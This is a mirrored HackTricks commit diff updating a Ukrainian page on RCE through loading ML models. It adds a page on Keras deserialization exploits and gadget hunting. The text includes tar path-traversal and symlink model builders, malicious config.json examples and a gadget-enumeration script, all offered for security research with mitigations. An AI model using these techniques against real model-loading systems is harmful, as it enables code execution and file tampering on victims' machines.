mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/keras-model-
This commit is contained in:
parent
e33e199cf9
commit
4f6aa61504
@ -2,38 +2,38 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Завантаження моделей до RCE
|
||||
## Завантаження моделей для RCE
|
||||
|
||||
Моделі машинного навчання зазвичай поширюються в різних форматах, таких як ONNX, TensorFlow, PyTorch тощо. Ці моделі можуть бути завантажені на комп'ютери розробників або в продукційні системи для їх використання. Зазвичай моделі не повинні містити шкідливий код, але є випадки, коли модель може бути використана для виконання довільного коду на системі як передбачена функція або через вразливість у бібліотеці завантаження моделі.
|
||||
Моделі машинного навчання зазвичай поширюються в різних форматах, таких як ONNX, TensorFlow, PyTorch тощо. Ці моделі можуть бути завантажені на комп'ютери розробників або в продуктивні системи для їх використання. Зазвичай моделі не повинні містити шкідливий код, але є випадки, коли модель може бути використана для виконання довільного коду в системі як передбачена функція або через вразливість у бібліотеці завантаження моделі.
|
||||
|
||||
На момент написання це деякі приклади такого типу вразливостей:
|
||||
|
||||
| **Фреймворк / Інструмент** | **Вразливість (CVE, якщо доступно)** | **RCE Вектор** | **Посилання** |
|
||||
| **Фреймворк / Інструмент** | **Вразливість (CVE, якщо доступно)** | **Вектор RCE** | **Посилання** |
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||
| **PyTorch** (Python) | *Небезпечна десеріалізація в* `torch.load` **(CVE-2025-32434)** | Шкідливий pickle у контрольній точці моделі призводить до виконання коду (обхід захисту `weights_only`) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + завантаження шкідливої моделі викликає виконання коду; десеріалізація Java RCE в API управління | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (небезпечний YAML) <br> **CVE-2024-3660** (Keras Lambda) | Завантаження моделі з YAML використовує `yaml.unsafe_load` (виконання коду) <br> Завантаження моделі з **Lambda** шаром виконує довільний Python код | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (парсинг TFLite) | Сформована модель `.tflite` викликає переповнення цілого числа → пошкодження купи (потенційний RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Завантаження моделі через `joblib.load` виконує pickle з навантаженням `__reduce__` зловмисника | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (небезпечний `np.load`) *суперечить* | `numpy.load` за замовчуванням дозволяє завантаження об'єктних масивів – шкідливий `.npy/.npz` викликає виконання коду | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (перехід директорії) <br> **CVE-2024-5187** (перехід tar) | Зовнішній шлях ваг моделі ONNX може вийти за межі директорії (читання довільних файлів) <br> Шкідлива модель ONNX tar може перезаписати довільні файли (призводячи до RCE) | |
|
||||
| ONNX Runtime (ризик дизайну) | *(Немає CVE)* Користувацькі операції ONNX / контрольний потік | Модель з користувацьким оператором вимагає завантаження рідного коду зловмисника; складні графи моделей зловживають логікою для виконання непередбачених обчислень | |
|
||||
| **PyTorch** (Python) | *Небезпечна десеріалізація в* `torch.load` **(CVE-2025-32434)** | Шкідливий pickle в контрольній точці моделі призводить до виконання коду (обхід захисту `weights_only`) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + завантаження шкідливої моделі викликає виконання коду; десеріалізація Java RCE в API управління | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (небезпечний YAML) <br> **CVE-2024-3660** (Keras Lambda) | Завантаження моделі з YAML використовує `yaml.unsafe_load` (виконання коду) <br> Завантаження моделі з **Lambda** шаром виконує довільний Python код | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (парсинг TFLite) | Сформована модель `.tflite` викликає переповнення цілого числа → пошкодження купи (потенційний RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Завантаження моделі через `joblib.load` виконує pickle з навантаженням `__reduce__` зловмисника | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (небезпечний `np.load`) *суперечка* | `numpy.load` за замовчуванням дозволяє завантаження об'єктних масивів – шкідливий `.npy/.npz` викликає виконання коду | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (перехід директорії) <br> **CVE-2024-5187** (перехід tar) | Зовнішній шлях ваг моделі ONNX може вийти за межі директорії (читання довільних файлів) <br> Шкідлива модель ONNX tar може перезаписати довільні файли (призводячи до RCE) | |
|
||||
| ONNX Runtime (ризик дизайну)| *(Немає CVE)* Користувацькі операції ONNX / контрольний потік | Модель з користувацьким оператором вимагає завантаження рідного коду зловмисника; складні графи моделей зловживають логікою для виконання непередбачених обчислень | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (перехід шляху) | Використання API завантаження моделі з увімкненим `--model-control` дозволяє відносний перехід шляху для запису файлів (наприклад, перезапис `.bashrc` для RCE) | |
|
||||
| **GGML (формат GGUF)** | **CVE-2024-25664 … 25668** (багато переповнень купи) | Неправильний файл моделі GGUF викликає переповнення буфера купи в парсері, що дозволяє виконання довільного коду на системі жертви | |
|
||||
| **Keras (старі формати)** | *(Немає нових CVE)* Спадковий Keras H5 модель | Шкідлива HDF5 (`.h5`) модель з кодом Lambda шару все ще виконується при завантаженні (режим безпеки Keras не охоплює старий формат – “атака з пониження”) | |
|
||||
| **Інші** (загальні) | *Недолік дизайну* – серіалізація Pickle | Багато ML інструментів (наприклад, формати моделей на основі pickle, Python `pickle.load`) виконуватимуть довільний код, вбудований у файли моделей, якщо не вжити заходів | |
|
||||
| **GGML (формат GGUF)** | **CVE-2024-25664 … 25668** (багато переповнень купи) | Неправильний файл моделі GGUF викликає переповнення буфера купи в парсері, що дозволяє виконання довільного коду на системі жертви | |
|
||||
| **Keras (старі формати)** | *(Немає нових CVE)* Спадковий Keras H5 модель | Шкідлива HDF5 (`.h5`) модель з кодом Lambda шару все ще виконується при завантаженні (режим безпеки Keras не охоплює старий формат – “атака з пониженням”) | |
|
||||
| **Інші** (загальні) | *Недолік дизайну* – серіалізація Pickle | Багато інструментів ML (наприклад, формати моделей на основі pickle, Python `pickle.load`) виконуватимуть довільний код, вбудований у файли моделей, якщо не вжити заходів | |
|
||||
|
||||
Більше того, є деякі моделі на основі python pickle, такі як ті, що використовуються [PyTorch](https://github.com/pytorch/pytorch/security), які можуть бути використані для виконання довільного коду на системі, якщо їх не завантажити з `weights_only=True`. Отже, будь-яка модель на основі pickle може бути особливо вразливою до цього типу атак, навіть якщо вони не вказані в таблиці вище.
|
||||
Більше того, є деякі моделі на основі python pickle, такі як ті, що використовуються [PyTorch](https://github.com/pytorch/pytorch/security), які можуть бути використані для виконання довільного коду в системі, якщо їх не завантажити з `weights_only=True`. Отже, будь-яка модель на основі pickle може бути особливо вразливою до цього типу атак, навіть якщо вони не вказані в таблиці вище.
|
||||
|
||||
### 🆕 InvokeAI RCE через `torch.load` (CVE-2024-12029)
|
||||
|
||||
`InvokeAI` – це популярний відкритий веб-інтерфейс для Stable-Diffusion. Версії **5.3.1 – 5.4.2** відкривають REST-інтерфейс `/api/v2/models/install`, який дозволяє користувачам завантажувати та завантажувати моделі з довільних URL-адрес.
|
||||
`InvokeAI` – це популярний відкритий веб-інтерфейс для Stable-Diffusion. Версії **5.3.1 – 5.4.2** відкривають REST-інтерфейс `/api/v2/models/install`, який дозволяє користувачам завантажувати та завантажувати моделі з довільних URL.
|
||||
|
||||
Внутрішньо цей інтерфейс врешті-решт викликає:
|
||||
```python
|
||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||
```
|
||||
Коли наданий файл є **PyTorch checkpoint (`*.ckpt`)**, `torch.load` виконує **десеріалізацію pickle**. Оскільки вміст надходить безпосередньо з URL, контрольованого користувачем, зловмисник може вбудувати шкідливий об'єкт з кастомним методом `__reduce__` всередину контрольної точки; метод виконується **під час десеріалізації**, що призводить до **віддаленого виконання коду (RCE)** на сервері InvokeAI.
|
||||
Коли наданий файл є **PyTorch checkpoint (`*.ckpt`)**, `torch.load` виконує **десеріалізацію pickle**. Оскільки вміст надходить безпосередньо з URL, контрольованого користувачем, зловмисник може вбудувати шкідливий об'єкт з користувацьким методом `__reduce__` всередину контрольної точки; метод виконується **під час десеріалізації**, що призводить до **віддаленого виконання коду (RCE)** на сервері InvokeAI.
|
||||
|
||||
Вразливість була присвоєна **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
|
||||
|
||||
@ -87,7 +87,7 @@ timeout=5,
|
||||
|
||||
---
|
||||
|
||||
Приклад ад-хок заходу безпеки, якщо ви повинні підтримувати старі версії InvokeAI, що працюють за зворотним проксі:
|
||||
Приклад ад-хок заходу безпеки, якщо ви повинні підтримувати старі версії InvokeAI за зворотним проксі:
|
||||
```nginx
|
||||
location /api/v2/models/install {
|
||||
deny all; # block direct Internet access
|
||||
@ -146,7 +146,7 @@ return member
|
||||
with tarfile.open("traversal_demo.model", "w:gz") as tf:
|
||||
tf.add("harmless.txt", filter=escape)
|
||||
```
|
||||
Або, за допомогою наступного коду, ви можете створити модель, яка створить символічне посилання на директорію `/tmp`, коли буде завантажена:
|
||||
Або, за допомогою наступного коду, ви можете створити модель, яка створить symlink до каталогу `/tmp`, коли буде завантажена:
|
||||
```python
|
||||
import tarfile, pathlib
|
||||
|
||||
@ -161,10 +161,18 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
|
||||
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
||||
tf.add(PAYLOAD) # rides the symlink
|
||||
```
|
||||
### Глибоке занурення: десеріалізація .keras та пошук гаджетів
|
||||
|
||||
Для детального посібника з внутрішньої роботи .keras, RCE Lambda-layer, проблеми довільного імпорту в ≤ 3.8 та виявлення гаджетів після виправлення в allowlist, дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
|
||||
- [OffSec блог – "CVE-2024-12029 – InvokeAI десеріалізація ненадійних даних"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [InvokeAI патч коміт 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [OffSec blog – "CVE-2024-12029 – InvokeAI десеріалізація ненадійних даних"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [Коміт патчу InvokeAI 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Документація модуля Rapid7 Metasploit](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – питання безпеки для torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
|
||||
|
@ -69,6 +69,7 @@
|
||||
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
|
||||
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
|
||||
- [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
|
||||
- [venv](generic-methodologies-and-resources/python/venv.md)
|
||||
|
@ -6,6 +6,7 @@
|
||||
|
||||
- [**Pyscript hacking tricks**](pyscript.md)
|
||||
- [**Python deserializations**](../../pentesting-web/deserialization/README.md)
|
||||
- [**Keras model deserialization RCE and gadget hunting**](keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||
- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/README.md)
|
||||
- [**Basic python web requests syntax**](web-requests.md)
|
||||
- [**Basic python syntax and libraries**](basic-python.md)
|
||||
|
@ -0,0 +1,207 @@
|
||||
# Keras Model Deserialization RCE and Gadget Hunting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Ця сторінка підсумовує практичні техніки експлуатації проти конвеєра десеріалізації моделей Keras, пояснює внутрішню структуру формату .keras та поверхню атаки, а також надає набір інструментів для дослідників для знаходження вразливостей файлів моделей (MFVs) та гаджетів після виправлення.
|
||||
|
||||
## Внутрішня структура формату .keras
|
||||
|
||||
Файл .keras є ZIP-архівом, що містить принаймні:
|
||||
- metadata.json – загальна інформація (наприклад, версія Keras)
|
||||
- config.json – архітектура моделі (основна поверхня атаки)
|
||||
- model.weights.h5 – ваги в HDF5
|
||||
|
||||
Файл config.json керує рекурсивною десеріалізацією: Keras імпортує модулі, вирішує класи/функції та реконструює шари/об'єкти з словників, контрольованих атакуючим.
|
||||
|
||||
Приклад фрагмента для об'єкта шару Dense:
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
"class_name": "Dense",
|
||||
"config": {
|
||||
"units": 64,
|
||||
"activation": {
|
||||
"module": "keras.activations",
|
||||
"class_name": "relu"
|
||||
},
|
||||
"kernel_initializer": {
|
||||
"module": "keras.initializers",
|
||||
"class_name": "GlorotUniform"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Десеріалізація виконує:
|
||||
- Імпорт модулів та розв'язання символів з ключів module/class_name
|
||||
- виклик from_config(...) або конструктора з аргументами kwargs, контрольованими атакуючим
|
||||
- Рекурсія в вкладені об'єкти (активації, ініціалізатори, обмеження тощо)
|
||||
|
||||
Історично це відкривало три примітиви для атакуючого, що створює config.json:
|
||||
- Контроль над тим, які модулі імпортуються
|
||||
- Контроль над тим, які класи/функції розв'язуються
|
||||
- Контроль над аргументами kwargs, переданими в конструктори/from_config
|
||||
|
||||
## CVE-2024-3660 – RCE байт-коду Lambda-слою
|
||||
|
||||
Корінна причина:
|
||||
- Lambda.from_config() використовував python_utils.func_load(...), який декодує base64 та викликає marshal.loads() на байтах атакуючого; десеріалізація Python може виконувати код.
|
||||
|
||||
Ідея експлуатації (спрощене навантаження в config.json):
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
"class_name": "Lambda",
|
||||
"config": {
|
||||
"name": "exploit_lambda",
|
||||
"function": {
|
||||
"function_type": "lambda",
|
||||
"bytecode_b64": "<attacker_base64_marshal_payload>"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Зменшення ризиків:
|
||||
- Keras за замовчуванням використовує safe_mode=True. Серіалізовані Python-функції в Lambda заблоковані, якщо користувач явно не відмовляється від цього, встановивши safe_mode=False.
|
||||
|
||||
Примітки:
|
||||
- Спадкові формати (старі HDF5 збереження) або старі кодові бази можуть не виконувати сучасні перевірки, тому атаки в стилі "пониження" все ще можуть застосовуватися, коли жертви використовують старі завантажувачі.
|
||||
|
||||
## CVE-2025-1550 – Довільний імпорт модуля в Keras ≤ 3.8
|
||||
|
||||
Корінна причина:
|
||||
- _retrieve_class_or_fn використовував необмежений importlib.import_module() з рядками модуля, контрольованими атакуючими, з config.json.
|
||||
- Вплив: Довільний імпорт будь-якого встановленого модуля (або модуля, закладеного атакуючим на sys.path). Код виконується під час імпорту, після чого відбувається створення об'єкта з аргументами kwargs атакуючого.
|
||||
|
||||
Ідея експлуатації:
|
||||
```json
|
||||
{
|
||||
"module": "maliciouspkg",
|
||||
"class_name": "Danger",
|
||||
"config": {"arg": "val"}
|
||||
}
|
||||
```
|
||||
Покращення безпеки (Keras ≥ 3.9):
|
||||
- Список дозволених модулів: імпорти обмежені офіційними модулями екосистеми: keras, keras_hub, keras_cv, keras_nlp
|
||||
- Режим безпеки за замовчуванням: safe_mode=True блокує небезпечне завантаження серіалізованих функцій Lambda
|
||||
- Основна перевірка типів: десеріалізовані об'єкти повинні відповідати очікуваним типам
|
||||
|
||||
## Поверхня гаджетів після виправлення всередині списку дозволених
|
||||
|
||||
Навіть з дозволеним списком і режимом безпеки, залишається широка поверхня серед дозволених викликів Keras. Наприклад, keras.utils.get_file може завантажувати довільні URL-адреси в місця, вибрані користувачем.
|
||||
|
||||
Гаджет через Lambda, який посилається на дозволену функцію (не серіалізований байт-код Python):
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
"class_name": "Lambda",
|
||||
"config": {
|
||||
"name": "dl",
|
||||
"function": {"module": "keras.utils", "class_name": "get_file"},
|
||||
"arguments": {
|
||||
"fname": "artifact.bin",
|
||||
"origin": "https://example.com/artifact.bin",
|
||||
"cache_dir": "/tmp/keras-cache"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Важливе обмеження:
|
||||
- Lambda.call() додає вхідний тензор як перший позиційний аргумент під час виклику цільового викликаного об'єкта. Вибрані гаджети повинні терпіти додатковий позиційний аргумент (або приймати *args/**kwargs). Це обмежує, які функції є життєздатними.
|
||||
|
||||
Потенційні наслідки дозволених гаджетів:
|
||||
- Довільне завантаження/запис (посадка шляхів, отруєння конфігурацій)
|
||||
- Мережеві зворотні виклики/ефекти, подібні до SSRF, в залежності від середовища
|
||||
- Ланцюгування до виконання коду, якщо записані шляхи пізніше імпортуються/виконуються або додаються до PYTHONPATH, або якщо існує місце для запису з виконанням при запису
|
||||
|
||||
## Інструменти дослідника
|
||||
|
||||
1) Систематичне виявлення гаджетів у дозволених модулях
|
||||
|
||||
Перелічте кандидатні викликані об'єкти в keras, keras_nlp, keras_cv, keras_hub і пріоритезуйте ті, що мають побічні ефекти з файлами/мережею/процесами/середовищем.
|
||||
```python
|
||||
import importlib, inspect, pkgutil
|
||||
|
||||
ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
|
||||
|
||||
seen = set()
|
||||
|
||||
def iter_modules(mod):
|
||||
if not hasattr(mod, "__path__"):
|
||||
return
|
||||
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
|
||||
yield m.name
|
||||
|
||||
candidates = []
|
||||
for root in ALLOWLIST:
|
||||
try:
|
||||
r = importlib.import_module(root)
|
||||
except Exception:
|
||||
continue
|
||||
for name in iter_modules(r):
|
||||
if name in seen:
|
||||
continue
|
||||
seen.add(name)
|
||||
try:
|
||||
m = importlib.import_module(name)
|
||||
except Exception:
|
||||
continue
|
||||
for n, obj in inspect.getmembers(m):
|
||||
if inspect.isfunction(obj) or inspect.isclass(obj):
|
||||
sig = None
|
||||
try:
|
||||
sig = str(inspect.signature(obj))
|
||||
except Exception:
|
||||
pass
|
||||
doc = (inspect.getdoc(obj) or "").lower()
|
||||
text = f"{name}.{n} {sig} :: {doc}"
|
||||
# Heuristics: look for I/O or network-ish hints
|
||||
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
|
||||
candidates.append(text)
|
||||
|
||||
print("\n".join(sorted(candidates)[:200]))
|
||||
```
|
||||
2) Пряме тестування десеріалізації (не потрібен архів .keras)
|
||||
|
||||
Введіть підготовлені словники безпосередньо в десеріалізатори Keras, щоб дізнатися прийняті параметри та спостерігати за побічними ефектами.
|
||||
```python
|
||||
from keras import layers
|
||||
|
||||
cfg = {
|
||||
"module": "keras.layers",
|
||||
"class_name": "Lambda",
|
||||
"config": {
|
||||
"name": "probe",
|
||||
"function": {"module": "keras.utils", "class_name": "get_file"},
|
||||
"arguments": {"fname": "x", "origin": "https://example.com/x"}
|
||||
}
|
||||
}
|
||||
|
||||
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
|
||||
```
|
||||
3) Перехресне тестування версій та формати
|
||||
|
||||
Keras існує в кількох кодових базах/епохах з різними обмеженнями та форматами:
|
||||
- Вбудований Keras TensorFlow: tensorflow/python/keras (старий, запланований до видалення)
|
||||
- tf-keras: підтримується окремо
|
||||
- Multi-backend Keras 3 (офіційний): введено нативний .keras
|
||||
|
||||
Повторюйте тести в різних кодових базах та форматах (.keras проти старого HDF5), щоб виявити регресії або відсутні обмеження.
|
||||
|
||||
## Рекомендації щодо захисту
|
||||
|
||||
- Ставтеся до файлів моделей як до ненадійного вводу. Завантажуйте моделі лише з надійних джерел.
|
||||
- Тримайте Keras в актуальному стані; використовуйте Keras ≥ 3.9, щоб скористатися перевагами дозволів та перевірок типів.
|
||||
- Не встановлюйте safe_mode=False при завантаженні моделей, якщо ви не повністю довіряєте файлу.
|
||||
- Розгляньте можливість виконання десеріалізації в ізольованому середовищі з найменшими привілеями без виходу в мережу та з обмеженим доступом до файлової системи.
|
||||
- Застосовуйте дозволи/підписи для джерел моделей та перевірки цілісності, де це можливо.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
|
||||
- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751)
|
||||
- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660)
|
||||
- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
|
||||
- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
|
||||
- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user